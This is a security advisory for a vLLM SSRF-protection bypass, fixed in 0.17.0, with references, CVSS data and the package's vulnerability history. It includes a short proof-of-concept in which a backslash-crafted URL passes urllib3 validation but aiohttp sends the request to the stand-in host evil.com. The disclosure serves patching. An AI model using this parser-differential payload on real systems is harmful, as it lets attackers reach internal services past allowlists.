vLLM has SSRF Protection Bypass
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
- File:
vllm/connections.py - Function:
load_from_url_async
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|---|---|---|---|---|
urllib3.parse_url() |
https://httpbin.org\@evil.com/ |
httpbin.org |
/%5C@evil.com/ |
URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
yarl (via aiohttp) |
https://httpbin.org\@evil.com/ |
evil.com |
/ |
Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org" ✅ Passes validation
# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
Why This Happens
- yarl: Interprets
httpbin.org\as the userinfo component, and@as the userinfo/host separator, so the URL is parsed asuser=httpbin.org\,host=evil.com,path=/ - urllib3: URL-encodes the backslash as
%5C, so\@evil.com/becomes/%5C@evil.com/which is treated as part of the path, leavinghost=httpbin.org
This inconsistency allows an attacker to:
- Bypass the hostname allowlist check
- Access arbitrary internal/external services
- Perform full SSRF attacks
Fixes
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | vllm | >= 0.15.1, < 0.17.0 | 0.17.0 |
References
- https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc
- https://github.com/vllm-project/vllm/security/advisories/GHSA-v359-jj2v-j536
- https://nvd.nist.gov/vuln/detail/CVE-2026-25960
- https://github.com/vllm-project/vllm/pull/34743
- https://github.com/vllm-project/vllm/commit/6f3b2047abd4a748e3db4a68543f8221358002c0
- https://github.com/vllm-project/vllm
- https://pypi.org/project/vllm
- https://github.com/advisories/GHSA-v359-jj2v-j536
- https://access.redhat.com/errata/RHSA-2026:24977
- https://access.redhat.com/security/cve/CVE-2026-25960
- https://bugzilla.redhat.com/show_bug.cgi?id=2445892
- https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3411.yaml
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25960.json
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L- Weakness (CWE)
CWE-918- Platform
- Python (PyPI)
- Package
vllm- Disclosed
- 09.03.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3411 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-v359-jj2v-j536 - CC BY 4.0
Vulnerability history: vllm
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 94
- First → latest
- 09.2024 10.2026
- Without a fix
- 5
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 47
- Low 4
- Unrated 11
Disclosures per year
- 2024: 2
- 2025: 30
- 2026: 62
-
vLLM has SSRF Protection Bypass this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.